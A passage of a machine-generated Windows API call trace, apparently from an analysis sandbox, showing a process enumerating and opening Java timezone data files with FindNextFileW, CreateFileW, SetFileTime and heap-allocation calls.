dwReserved1=0x0, cFileName="El_Aaiun", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Freetown", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gaborone", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Harare", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Johannesburg", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="Juba", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kampala", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="Khartoum", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kigali", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kinshasa", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lagos", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libreville", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lome", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Luanda", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lubumbashi", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lusaka", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Malabo", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maputo", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maseru", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mbabane", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mogadishu", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monrovia", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nairobi", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ndjamena", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Niamey", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nouakchott", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ouagadougou", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Porto-Novo", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sao_Tome", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tripoli", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tunis", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windhoek", cAlternateFileName="")) returned 1 [0088.478] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windhoek", cAlternateFileName="")) returned 0 [0088.478] GetLastError () returned 0x12 [0088.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0088.478] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250c48) returned 1 [0088.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.480] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="America", cAlternateFileName="")) returned 1 [0088.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.481] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.481] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.482] NtClose (Handle=0x178) returned 0x0 [0088.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250c48 [0088.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.482] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.485] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.486] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adak", cAlternateFileName="")) returned 1 [0088.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdfe8 [0088.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0088.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.488] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anchorage", cAlternateFileName="")) returned 1 [0088.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be008 [0088.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13226b0 [0088.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.489] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anguilla", cAlternateFileName="")) returned 1 [0088.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be028 [0088.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1322738 [0088.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.491] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antigua", cAlternateFileName="")) returned 1 [0088.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12be048 [0088.492] RtlAllocateHeap (HeapHandle=0x940000, 